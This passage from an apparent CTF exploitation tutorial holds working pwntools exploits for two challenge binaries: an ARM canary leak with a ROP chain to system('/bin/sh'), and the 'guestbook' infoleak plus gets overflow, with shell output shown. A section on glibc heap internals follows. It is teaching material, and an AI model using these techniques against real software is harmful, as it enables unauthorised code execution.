
```
$    python ROPgadget.py --binary canary | grep pop | grep r0 | grep pc
```

Looking through the list, we find this one which works (although we will need 4 bytes of filler data for `r4`):

```
0x00026b7c : pop {r0, r4, pc}
```

There is just one last thing that we will need before we can write the exploit. We know that the offset between the start of our input and the stack canary is `40` bytes, but what is the offset between the stack canary and the return address? Looking at the stack layout of the `main` function, we see that the canary is stored at offset `-0x14` :

```
**************************************************************
                             *                           FUNCTION
*

**************************************************************
                             undefined main()
             undefined         r0:1           <RETURN>
XREF[1]:     00010530(W)
             ssize_t           r0:4           bytesRead
XREF[1]:     00010530(W)
             int               Stack[-0x14]:4 stackCanary
XREF[2]:     000104cc(W),

00010578(R)
             char[41]          Stack[-0x3d]   input
             int               HASH:3fd2270   canary
                             main
XREF[3]:     Entry Point(*),

_start:0001039c(*), 000103b0(*)
        000104b8 30 40 2d e9     stmdb      sp!,{ r4 r5 lr }
```

Since the canary is `4` bytes, that means that the end of the canary will put us at `0x10` . In `32` bit arm, the return address is stored at the base of the stack (we can just do a quick google search to find this out). Since addresses in this architecture are just 4 bytes, that means that return address ranges from offsets `0-4` . So the offset between the stack canary and the return address is just `0x10 - 0x4 = 0xc` bytes.

So our exploit will contain the following:

```
 *    40 bytes of filler data
 *    4 bytes stack canary
 *    12 bytes of filler data to return address
 *    4 byte rop gadget pop {r0, r4, pc}
 *    4 byte "/bin/sh" argument
 *    4 byte filler
 *    4 byte address of system
```

Exploit

Putting it all together we have the following exploit:

```python
# This exploit is based off of: https://ctftime.org/writeup/12568

from pwn import *

target = process(['qemu-arm', 'canary'])

system = p32(0x16d90)
binsh = p32(0x71eb0)

# pop {r0, r4, pc}
gadget = p32(0x26b7c)

def clearInput():
    print target.recvuntil('>')

def leakCanary():
    target.send("0"*41)
    print target.recvuntil('0'*41)
    leak = target.recv(3)
    canary = u32("\x00" + leak)
    print "Stack canary: " + hex(canary)
    return canary
clearInput()

canary = leakCanary()

payload = ""
payload += "0"*40
payload += p32(canary)
payload += "1"*12
payload += gadget
payload += binsh
payload += "2"*4
payload += system

target.sendline(payload)
target.sendline("")

target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process '/usr/bin/qemu-arm': pid 20280
Welcome to hxp's Echo Service!
>
 0000000000000000000000000000000000000000
Stack canary: 0x2c7cd100
[*] Switching to interactive mode

> 0000000000000000000000000000000000000000
> $ w
 16:35:30 up  4:17,  1 user,  load average: 1.09, 1.18, 1.13
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               12:19   ?xdm?  26:12   0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
canary    exploit.py  readme.md  ROPgadget.py
```

Just like that, we popped a shell!

guestbook

Noopnoop helped with the creation of this writeup.

Let's take a look at the binary:

```
$    file guestbook
guestbook: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=bc73592d4897267cd1097b0541dc571d051a7ca0, not stripped
$    pwn checksec guestbook
[*] '/Hackery/tuctf/guestbook/guestbook'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

So we can see that it is 32 bit elf, with a non executable stack and PIE enabled. Let's try running the binary:

```
$    ./guestbook
Please setup your guest book:
Name for guest: #0
>>>00000
Name for guest: #1
>>>11111
Name for guest: #2
>>>22222
Name for guest: #3
>>>33333
---------------------------
1: View name
2: Change name
3. Quit
>>2
Which entry do you want to change?
>>>1
Enter the name of the new guest.
>>>15935

---------------------------
1: View name
2: Change name
3. Quit
>>1
Which entry do you want to view?
>>>1
15935
---------------------------
1: View name
2: Change name
3. Quit
>>1
Which entry do you want to view?
>>>6
@RW(DRW@DRWXDRW�I[
`T�
    ���XDRW
---------------------------
1: View name
2: Change name
3. Quit
>>3
```

So it prompts us for four names, then provides us the ability to change or view the names. It appears that when we view the name of something past the four names we have, we get an infoleak. Let's take a look at the code in Ghidra:

Reversing

Looking at the main function in Ghidra, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

undefined4 main(void)

{
  char *ptr;
  int iVar1;
  char changeNameInput [100];
  int changeIndex;
  int menuChoice;
  char *ptrArray [4];
  undefined *systemVar;
  int i;
  bool continue;

  setvbuf(stdout,(char *)0x0,2,0x14);
  puts("Please setup your guest book:");
  i = 0;
  while (i < 4) {
    printf("Name for guest: #%d\n>>>",i);
    ptr = (char *)malloc(0xf);
    __isoc99_scanf(&DAT_00010ac3,ptr);
    ptr[0xe] = 0;
    ptrArray[i] = ptr;
    i = i + 1;
  }
  continue = true;
LAB_000109b3:
  do {
    if (!continue) {
      return 0;
    }
    do {
      iVar1 = getchar();
      if ((char)iVar1 == '\n') break;
    } while ((char)iVar1 != -1);
    puts("---------------------------");
    puts("1: View name");
    puts("2: Change name");
    puts("3. Quit");
    printf(">>");
    menuChoice = 0;
    __isoc99_scanf(&DAT_00010a75,&menuChoice);
    if (menuChoice != 2) {
      if (menuChoice == 3) {
        continue = false;
      }
      else {
        if (menuChoice == 1) {
          readName((int)ptrArray);
```

```
        }
        else {
          puts("Not a valid option. Try again");
        }
      }
      goto LAB_000109b3;
    }
    printf("Which entry do you want to change?\n>>>");
    changeIndex = -1;
    __isoc99_scanf(&DAT_00010a75,&changeIndex);
    if (changeIndex < 0) {
      puts("Enter a valid number");
    }
    else {
      printf("Enter the name of the new guest.\n>>>");
      do {
        iVar1 = getchar();
        if ((char)iVar1 == '\n') break;
      } while ((char)iVar1 != -1);
      gets(changeNameInput);
      strcpy(ptrArray[changeIndex],changeNameInput);
    }
  } while( true );
}
```

Starting off, we can see it allocates four `0xf` byte chunks in the heap, and prompts us to scan in data (the four guest names). It also saves the pointers in the array `ptrArray`. Proceeding that, we are dropped into a menu where we can either change a name, view a name, or exit. If we choose to view a name, the `readName` function is executed:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void readName(int ptrArray)

{
  int index;

  printf("Which entry do you want to view?\n>>>");
  index = -1;
  __isoc99_scanf(&DAT_00010a75,&index);
  if (index < 0) {
    puts("Enter a valid number");
  }
  else {
    puts(*(char **)(ptrArray + index * 4));
  }
  return;
}
```

So we can see that it prompts us for an index to the array of pointers that it is passed, and it passes that pointer to `puts`. The only check is to make sure that the index it gets is greater than `0`, however there is no check to ensure that we don't print a pointer past the end of the array. This is an index check bug.

Looking at the code for editing a guest's name, we see it has the same index bug:

```
  __isoc99_scanf(&DAT_00010a75,&changeIndex);
    if (changeIndex < 0) {
      puts("Enter a valid number");
    }
```

In addition to that, we can see that there is another bug:

```
      gets(changeNameInput);
      strcpy(ptrArray[changeIndex],changeNameInput);
```

We can see that there is a call to `gets`, so we have a buffer overflow vulnerability. However before that happens, there is a `strcpy` call that uses a pointer which will be overwritten in the overflow (when we look at the stack, we see that it is between the start of our input and the return address). We will need an infoleak to leak a pointer which we can use in the overflow.

In addition to that, because PIE is enabled, the address of `system` (which is imported into the program) should change every time. We will need to get the address of `system` in order to execute a return to `system` attack. Also another thing to take note of, it saves the address of `system` in a stack variable (although for some reason, it isn't showing in the disassembly):

```
        00010857 89 45 ec        MOV        dword ptr [EBP + local_18],ptr
        0001085a 8b 83 e8        MOV        ptr,dword ptr [0xffffffe8 +
EBX]=>->system       = 00013020
                 ff ff ff
        00010860 89 45 e8        MOV        dword ptr [EBP +
systemVar],ptr=>system          = ??
```

Exploitation

Our exploit will have two parts. The first is we will use the `readName` function to get an infoleak to both the heap and the libc. The second part will be using the `gets` call to overwrite the return address and get code execution:

Infoleak

Let's take a look at the layout of the memory in gdb:

```
gef➤  r
Starting program: /Hackery/pod/modules/ret_2_system/tu_guestbook/guestbook
Please setup your guest book:
Name for guest: #0
>>>15935728
Name for guest: #1
>>>75395128
Name for guest: #2
>>>95135728
Name for guest: #3
>>>35715928
---------------------------
1: View name
2: Change name
3. Quit
>>^C
Program received signal SIGINT, Interrupt.
0xf7fd3939 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xfffffe00
$ebx   : 0x0
$ecx   : 0x56558180  →  "35715928"
$edx   : 0x400
$esp   : 0xffffc998  →  0xffffca10  →  0xffffd070  →  0xffffd138  →  0x00000000
$ebp   : 0xffffca10  →  0xffffd070  →  0xffffd138  →  0x00000000
$esi   : 0xf7fb45c0  →  0xfbad2288
$edi   : 0x0
$eip   : 0xf7fd3939  →  <__kernel_vsyscall+9> pop ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────── stack ────
0xffffc998│+0x0000: 0xffffca10  →  0xffffd070  →  0xffffd138  →  0x00000000  ←
$esp
0xffffc99c│+0x0004: 0x00000400
0xffffc9a0│+0x0008: 0x56558180  →  "35715928"
0xffffc9a4│+0x000c: 0xf7ec5807  →  0xfff0003d ("="?)
0xffffc9a8│+0x0010: 0x00000001
0xffffc9ac│+0x0014: 0x00000001
0xffffc9b0│+0x0018: 0xf7e515f9  →  <_IO_doallocbuf+9> add ebx, 0x162a07
0xffffc9b4│+0x001c: 0xf7fb45c0  →  0xfbad2288
─────────────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7fd3933 <__kernel_vsyscall+3> mov    ebp, esp
   0xf7fd3935 <__kernel_vsyscall+5> sysenter
   0xf7fd3937 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd3939 <__kernel_vsyscall+9> pop    ebp
   0xf7fd393a <__kernel_vsyscall+10> pop    edx
   0xf7fd393b <__kernel_vsyscall+11> pop    ecx
   0xf7fd393c <__kernel_vsyscall+12> ret
   0xf7fd393d                  nop
   0xf7fd393e                  nop
```

```
──────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "guestbook", stopped, reason: SIGINT
────────────────────────────────────────────────────── trace ────
[#0] 0xf7fd3939 → __kernel_vsyscall()
[#1] 0xf7ec5807 → read()
[#2] 0xf7e505a0 → _IO_file_underflow()
[#3] 0xf7e516fc → _IO_default_uflow()
[#4] 0xf7e2ba64 → add esp, 0x10
[#5] 0xf7e2a6c5 → __isoc99_scanf()
[#6] 0x565558e3 → main()
─────────────────────────────────────────────────────────────────
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
  0x56558160 - 0x56558168  →   "15935728"
gef➤  search-pattern 0x56558160
[+] Searching '\x60\x81\x55\x56' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd10c - 0xffffd11c  →   "\x60\x81\x55\x56[...]"
gef➤  x/20w 0xffffd10c
0xffffd10c: 0x56558160  0x56558590  0x565585b0  0x565585d0
0xffffd11c: 0xa5559f1 0xf7e1ac00  0xffffd10c  0x565585d0
0xffffd12c: 0x1000000 0x4 0x0 0x0
0xffffd13c: 0xf7df6751  0x1 0xffffd1d4  0xffffd1dc
0xffffd14c: 0xffffd164  0x1 0x0 0xf7fb4000
gef➤  x/s 0x56558590
0x56558590: "75395128"
gef➤  x/s 0x565585b0
0x565585b0: "95135728"
gef➤  x/s 0x565585d0
0x565585d0: "35715928"
gef➤  x/i 0xf7e1ac00
   0xf7e1ac00 <system>: call   0xf7f1568d
gef➤  x/w 0xffffd10c
0xffffd10c: 0x56558160
```

So we can see our array of heap pointers. After it, we see an interesting pointer at `0xffffd124` that points to the beginning of our array of heap pointers. We can reach this using the index check bug in `readName` (index `6`), so we can leak a heap pointer with this. What is interesting is if we do that, we will also get a libc infoleak bug.

The function `puts` will only stop printing until it reaches a null byte. Looking at the memory, we can see that there are no null bytes in between the start if the array of heap pointers, and the address of `system`. Thus if we print the address `xffffd10c` with puts in this scenario, we will also get the address of `system` due to the lack of null bytes. With that we get both a heap infoleak, and a libc infoleak to `system`.

Buffer Overflow

So for the buffer overflow, we will use `gets` to overwrite the return address. However we will need to overwrite a pointer that is written to with `strcpy`. Let's take a look at the stack layout:

```
char *ptr;
int iVar1;
char changeNameInput [100];
int changeIndex;
int menuChoice;
char *ptrArray [4];
undefined *systemVar;
int i;
bool continue;
```

So we can see that the offset between the start of our input (located in `changeNameInput`) and the start of the array of pointers (located in `ptrArray`) is `0x6c` (`100 + 4 + 4 = 0x6c`). So if we go to edit the first pointer in the array while using the `gets` bug, then we will just have to place a heap pointer to memory that when written to won't cause a crash at offset `0x6c`.

Proceeding that, we need to find the offset from the start of our input in gets to the return address.

Set a breakpoint for the `strcpy` call:

```
gef➤  pie b *0x994
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
Please setup your guest book:
Name for guest: #0
>>>15935728
Name for guest: #1
>>>75395128
Name for guest: #2
>>>35715928
Name for guest: #3
>>>95135728
---------------------------
1: View name
2: Change name
3. Quit
>>2
Which entry do you want to change?
>>>0
Enter the name of the new guest.
>>>0000000000

Breakpoint 1, 0x56555994 in main ()
[+] base address 0x56555000
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$eax   : 0x56558160  →  "15935728"
$ebx   : 0x56557000  →  0x00001ef0
$ecx   : 0xf7fb45c0  →  0xfbad2288
$edx   : 0xffffd0a0  →  "0000000000"
$esp   : 0xffffd098  →  0x56558160  →  "15935728"
$ebp   : 0xffffd138  →  0x00000000
$esi   : 0xf7fb4000  →  0x001dbd6c
$edi   : 0xf7fb4000  →  0x001dbd6c
$eip   : 0x56555994  →  <main+466> call 0x56555570 <strcpy@plt>
$eflags: [zero carry PARITY ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────── stack ────
0xffffd098│+0x0000: 0x56558160  →  "15935728"  ← $esp
0xffffd09c│+0x0004: 0xffffd0a0  →  "0000000000"
0xffffd0a0│+0x0008: "0000000000"
0xffffd0a4│+0x000c: "000000"
0xffffd0a8│+0x0010: 0xf7003030 ("00"?)
0xffffd0ac│+0x0014: 0x000000c2
0xffffd0b0│+0x0018: 0x00000000
0xffffd0b4│+0x001c: 0x00c10000
────────────────────────────────────────────────────────── code:x86:32 ────
   0x5655598c <main+458>       lea    edx, [ebp-0x98]
   0x56555992 <main+464>       push   edx
   0x56555993 <main+465>       push   eax
 → 0x56555994 <main+466>       call   0x56555570 <strcpy@plt>
```

```
   ↳  0x56555570 <strcpy@plt+0>   jmp    DWORD PTR [ebx+0x18]
      0x56555576 <strcpy@plt+6>   push   0x18
      0x5655557b <strcpy@plt+11>  jmp    0x56555530
      0x56555580 <malloc@plt+0>   jmp    DWORD PTR [ebx+0x1c]
      0x56555586 <malloc@plt+6>   push   0x20
      0x5655558b <malloc@plt+11>  jmp    0x56555530
──────────────────────────────────────────────────────── arguments (guessed) ────
strcpy@plt (
   [sp + 0x0] = 0x56558160 → "15935728",
   [sp + 0x4] = 0xffffd0a0 → "0000000000"
)
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "guestbook", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x56555994 → main()
─────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 0000000000
[+] Searching '0000000000' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rw-
  0x56558180 - 0x5655818a  →   "0000000000"
[+] In '/usr/lib/i386-linux-gnu/libc-2.29.so'(0xf7f45000-0xf7fb1000),
permission=r--
  0xf7f57c04 - 0xf7f57c14  →   "0000000000000000"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd0a0 - 0xffffd0aa  →   "0000000000"
gef➤  i f
Stack level 0, frame at 0xffffd140:
 eip = 0x56555994 in main; saved eip = 0xf7df6751
 Arglist at 0xffffd138, args:
 Locals at 0xffffd138, Previous frame's sp is 0xffffd140
 Saved registers:
  ebx at 0xffffd134, ebp at 0xffffd138, eip at 0xffffd13c
```

and we cans ee that the offset is `0x9c` :

```
>>> hex(0xffffd13c - 0xffffd0a0)
'0x9c'
```

So there we can place the address of `system` . Four bytes after that, we will just place a ptr to the libc address for the string `/bin/sh` (since that is where it will expect it's input).

Exploit

Putting it all together, we get the following exploit:

```
# noopnoop helped with this exploit

# Import pwntools
from pwn import *

#context.terminal = ['tmux', 'splitw', '-h']

# Establish the target process, and hand it over to gdb
target = process('./guestbook', env={"LD_PRELOAD":"./libc.so.6"})
gdb.attach(target)

# Establish the function which will create the first four names
def start():
    print target.recvuntil(">>>")
    target.sendline("15935")
    print target.recvuntil(">>>")
    target.sendline("75395")
    print target.recvuntil(">>>")
    target.sendline("01593")
    print target.recvuntil(">>>")
    target.sendline("25319")


# Create the function which will calculate the address of /bin/sh from the
address of system, since they are both in libc
def calc_binsh(system_adr):
    binsh = system_adr + 0x120c6b
    log.info("The address of binsh is: " + hex(binsh))
    return binsh

# Create the function which will create the payload and send it
def attack(system, binsh, heap):
    target.sendline("2")
    print target.recvuntil(">>>")
    target.sendline("0")
    print target.recvuntil(">>>")
    payload = "0"*0x4 + "\x00" + "1"*0x5f + p32(0x0) + "2"*0x4 + p32(heap) +
"3"*0x2c + p32(system) + "4"*0x4 + p32(binsh)
    target.sendline(payload)

# Run the start function
start()

# Get the infoleak, for the address of system and the address of the heap space
for the first name
print target.recvuntil(">>")
target.sendline("1")
print target.recvuntil(">>>")
target.sendline("6")
leak = target.recv(24)
print target.recvuntil(">>")
system_adr = u32(leak[20:24])
```

```
heap_adr = u32(leak[0:4])
log.info("The address of system is: " + hex(system_adr))
log.info("The address of heap is: " + hex(heap_adr))

# Calculate the address of /bin/sh
binsh = calc_binsh(system_adr)

# Launch the attack
attack(system_adr, binsh, heap_adr)

# Drop to an interactive shell
target.interactive()
```

When we run it:

```
➜  /vagrant git:(master) ✗ python exploit.py.2
[+] Starting local process './guestbook': pid 2717
[*] running in new terminal: /usr/bin/gdb -q  "./guestbook" 2717 -x
"/tmp/pwnDgnK2m.gdb"
[+] Waiting for debugger: Done
Please setup your guest book:
Name for guest: #0
>>>
Name for guest: #1
>>>
Name for guest: #2
>>>
Name for guest: #3
>>>
---------------------------
1: View name
2: Change name
3. Quit
>>
Which entry do you want to view?
>>>
l\xffX\xb0uV
---------------------------
1: View name
2: Change name
3. Quit
>>
[*] The address of system is: 0xf7546da0
[*] The address of heap is: 0x5675a008
[*] The address of binsh is: 0xf7667a0b
Which entry do you want to change?
>>>
Enter the name of the new guest.
>>>
[*] Switching to interactive mode
$
---------------------------
1: View name
2: Change name
3. Quit
>>$ 3
$ w
 04:35:38 up  1:04,  1 user,  load average: 0.08, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
vagrant  pts/0    10.0.2.2         Mon02    2.00s  0.24s  0.00s tmux
$
```

Just like that, we popped a shell!

Heap Exploitation

This module is literally just an explanation as to how various parts of the heap works. The heap is an area of memory used for dynamic allocation (meaning that it can allocate an amount of space that isn't known at compile time), usually through the use of things like malloc. The thing is malloc has a lot of functionality behind how it operates in order to efficiently do its job (both in terms of space and run time complexity). This gives us a large attack surface on malloc, how in certain situations we can leverage something such as a single null byte overflow into full blown remote code execution. However in order to carry out these attacks effectively, you will need to understand how certain parts of the heap work (it can get a bit more complicated than overwriting a saved return address of a stack). The purpose of this module is to explain some of those parts. Let's get to work. Let's get to work.

Libc

The first thing I would like to say is that on linux all of the source code for standard functions like malloc and calloc is located in the libc. Across different libc versions the code for various functions change, including the code for malloc. That means that different libc's mallocs operate in different ways. For instance the same binary running with two different libc versions, can see different behavior in the heap. You'll see this come up a lot. When you are working on a heap challenge, make sure you are using the right libc file (assuming the heap challenge is libc dependant). You might need to use something like `LD_PRELOAD` to do this (which you can see how I tackle this in exploit).

Malloc Chunk

When we call malloc, it returns a pointer to a chunk. Let's take a look at the memory allocation of the chunk for this code:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main(void)
{
    char *ptr;

    ptr = malloc(0x10);

    strcpy(ptr, "panda");
}
```

We can see the memory of the heap chunk here:

```
──────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55555555514b <main+22>        mov    rax, QWORD PTR [rbp-0x8]
   0x55555555514f <main+26>        mov    DWORD PTR [rax], 0x646e6170
   0x555555555155 <main+32>        mov    WORD PTR [rax+0x4], 0x61
 → 0x55555555515b <main+38>        nop
   0x55555555515c <main+39>        leave
   0x55555555515d <main+40>        ret
   0x55555555515e                  xchg   ax, ax
   0x555555555160 <__libc_csu_init+0> push   r15
   0x555555555162 <__libc_csu_init+2> mov    r15, rdx
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "try", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55555555515b → main()
─────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern panda
[+] Searching 'panda' in memory
[+] In '[heap]'(0x555555559000-0x55555557a000), permission=rw-
  0x555555559260 - 0x555555559265  →   "panda"
gef➤  x/4g 0x555555559250
0x555555559250:    0x0    0x21
0x555555559260:    0x61646e6170    0x0
```

So we can see here is our heap chunk. Every heap chunk has something called a heap header (I often call it heap metadata). On `x64` systems it's the previous `0x10` bytes from the start of the heap chunk, and on `x86` systems it's the previous `0x8` bytes. It contains two separate values, the previous chunk size, and the chunk size.

```
0x0:    0x00     - Previous Chunk Size
0x8:    0x21     - Chunk Size
0x10:     "pada"     - Content of chunk
```

The previous chunk size (if it is set, which it isn't in this case) designates the size of a previous chunk in the heap layout that has been freed. The heap size in this case is `0x21`, which differs from the size we requested. That's because the size we pass to malloc, is just the minimum amount of space we want to be able to store data in. Because of the heap header, `0x10` extra bytes is added on `x64` systems (extra `0x8` bytes is added on `x86`) systems. Also in some instances it will round a number up, so it can deal with it better with things like binning. For instance if you hand malloc a size of `0x7f`, it will return a size of `0x91`. It will round up the size `0x7f` to `0x80` so it can deal with it better. There is an extra `0x10` bytes for the heap header. Also the `0x1` from both the `0x91` and `0x21` come from the previous in use bit, which just signifies if the previous chunk is in use, and not freed.

Also the first three bits of the malloc size are flags which specify different things (part of the reason for rounding). If the bit is set, it means that whatever the flag specifies is true (and vice versa):

```
0x1:     Previous in Use     - Specifies that the chunk before it in memory is
in use
0x2:    Is MMAPPED               - Specifies that the chunk was obtained with
mmap()
0x4:     Non Main Arena         - Specifies that the chunk was obtained from
outside of the main arena
```

We will talk about what some of this means later on.

Binning

So when malloc frees a chunk, it will typically insert it into one of the bin lists (assuming it can't do something like consolidate it with the top chunk). Then with a later allocation, it will check the bins to see if there are any freed chunks that it could allocate to serve the request. The purpose of this is so it can reuse previous freed chunks, for performance improvements.

Fast Bins

The fast bin consists of 7 linked lists, which are typically referred to by their `idx`. On `x64` the sizes range from `0x20 - 0x80` by default. Each idx (which is an index to the fastbins specifying a linked list of the fast bin) is separated by size. So a chunk of size `0x20-0x2f` would fit into `idx 0`, a chunk of size `0x30-0x3f` would fit into `idx 1`, and so on and so forth.

```
────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x20]  ←  Chunk(addr=0x602050, size=0x30, flags=PREV_INUSE)
Fastbins[idx=2, size=0x30]  ←  Chunk(addr=0x602080, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x40]  ←  Chunk(addr=0x6020c0, size=0x50, flags=PREV_INUSE)
Fastbins[idx=4, size=0x50]  ←  Chunk(addr=0x602110, size=0x60, flags=PREV_INUSE)
Fastbins[idx=5, size=0x60]  ←  Chunk(addr=0x602170, size=0x70, flags=PREV_INUSE)
Fastbins[idx=6, size=0x70]  ←  Chunk(addr=0x6021e0, size=0x80, flags=PREV_INUSE)
```

Not the actual structure of a fastbin is a linked list, where it points to the next chunk in the list (granted it points to the heap header of the next chunk):

```
gef➤  x/g 0x602010
0x602010: 0x602020
gef➤  x/4g 0x602020
0x602020: 0x0 0x21
0x602030: 0x0 0x0
```

Now the fast bin is called that, because allocating from the fast bin is typically one of the faster memory allocation methods malloc uses. Also chunks are inserted into the fast bin head first. This means that the fast bin is LIFO, meaning that the last chunk to go into a fast bin list is the first one out.

tcache

The tcache is sort of like the Fast Bins, however it has it's differences.

The tcahce is a new type of binning mechanism introduced in libc version `2.26` (before that, you won't see the tcahce). The tcache is specific to each thread, so each thread has its own tcache. The purpose of this is to speed up performance since malloc won't have to lock the bin in order to edit it. Also in versions of libc that have a tcache, the tcache is the first place that it will look to either allocate chunks from or place freed chunks (since it's faster).

An actual tcache list is stored like a Fast Bin where it is a linked list. Also like the Fast Bin, it is LIFO. However a tcache list can only hold `7` chunks at a time. If a chunk is freed that meets the size requirement of a tcache however it's list is full, then it is inserted into the next bin that meets its size requirements. Let's see this in action.

Here is our source code:

```
#include <stdlib.h>

void main(void)
{
  char *p0, *p1, *p2, *p3, *p4, *p5, *p6, *p7;

  p0 = malloc(0x10);
  p1 = malloc(0x10);
  p2 = malloc(0x10);
  p3 = malloc(0x10);
  p4 = malloc(0x10);
  p5 = malloc(0x10);
  p6 = malloc(0x10);
  p7 = malloc(0x10);

  malloc(10); // Here to avoid consolidation with Top Chunk

  free(p0);
  free(p1);
  free(p2);
  free(p3);
  free(p4);
  free(p5);
  free(p6);
  free(p7);
}
```

Here is the state of the heap after everything's been freed:

```
gef➤  heap bins
──────────────────── Tcachebins for arena 0x7ffff7faec40 ────────────────────
Tcachebins[idx=0, size=0x10] count=7  ←  Chunk(addr=0x555555559320, size=0x20,
flags=PREV_INUSE)  ←  Chunk(addr=0x555555559300, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x5555555592e0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x5555555592c0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x5555555592a0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x555555559280, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x555555559260, size=0x20, flags=PREV_INUSE)
───────────────────── Fastbins for arena 0x7ffff7faec40 ─────────────────────
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x555555559340, size=0x20,
flags=PREV_INUSE)
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
──────────────────── Unsorted Bin for arena 'main_arena' ────────────────────
[+] Found 0 chunks in unsorted bin.
───────────────────── Small Bins for arena 'main_arena' ─────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
───────────────────── Large Bins for arena 'main_arena' ─────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

So we can see that we allocated and freed 8 chunks of size `0x20` (`0x10` from size requested, and `0x10` from heap metadata). The first seven of these chunks ended up in the tcache, since the tcache has a list for those size. After that list was filled up with seven chunks, the eight chunk we tried to free ended up in the fast bin, since there is a list for its size.

Also just to emphasize that the `0x7` chunk limit is just per list of the tcache, not total chunks in the entire tcache bin, we can see here that the tcache holds `14` chunks across two separate bins:

```
gef➤  heap bins
```

```
Tcachebins for arena 0x7ffff7faec40
```

```
Tcachebins[idx=0, size=0x10] count=7  ←  Chunk(addr=0x555555559320, size=0x20,
flags=PREV_INUSE)  ←  Chunk(addr=0x555555559300, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x5555555592e0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x5555555592c0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x5555555592a0, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x555555559280, size=0x20, flags=PREV_INUSE)  ←
Chunk(addr=0x555555559260, size=0x20, flags=PREV_INUSE)
Tcachebins[idx=1, size=0x20] count=7  ←  Chunk(addr=0x555555559460, size=0x30,
flags=PREV_INUSE)  ←  Chunk(addr=0x555555559430, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x555555559400, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x5555555593d0, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x5555555593a0, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x555555559370, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x555555559340, size=0x30, flags=PREV_INUSE)
```

```
Fastbins for arena 0x7ffff7faec40
```

```
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
```

```
Unsorted Bin for arena 'main_arena'
```

```
[+] Found 0 chunks in unsorted bin.
```

```
Small Bins for arena 'main_arena'
```

```
[+] Found 0 chunks in 0 small non-empty bins.
```

```
Large Bins for arena 'main_arena'
```

```
[+] Found 0 chunks in 0 large non-empty bins.
```

There are a total of `64` tcache lists, with idx values ranging from `0-63`, for chunk sizes between `0x20-0x410`:

```
gef➤  heap bins
```

```
Tcachebins for arena 0x7ffff7faec40
```

```
Tcachebins[idx=0, size=0x10] count=1  ←  Chunk(addr=0x555555559260, size=0x20,
flags=PREV_INUSE)
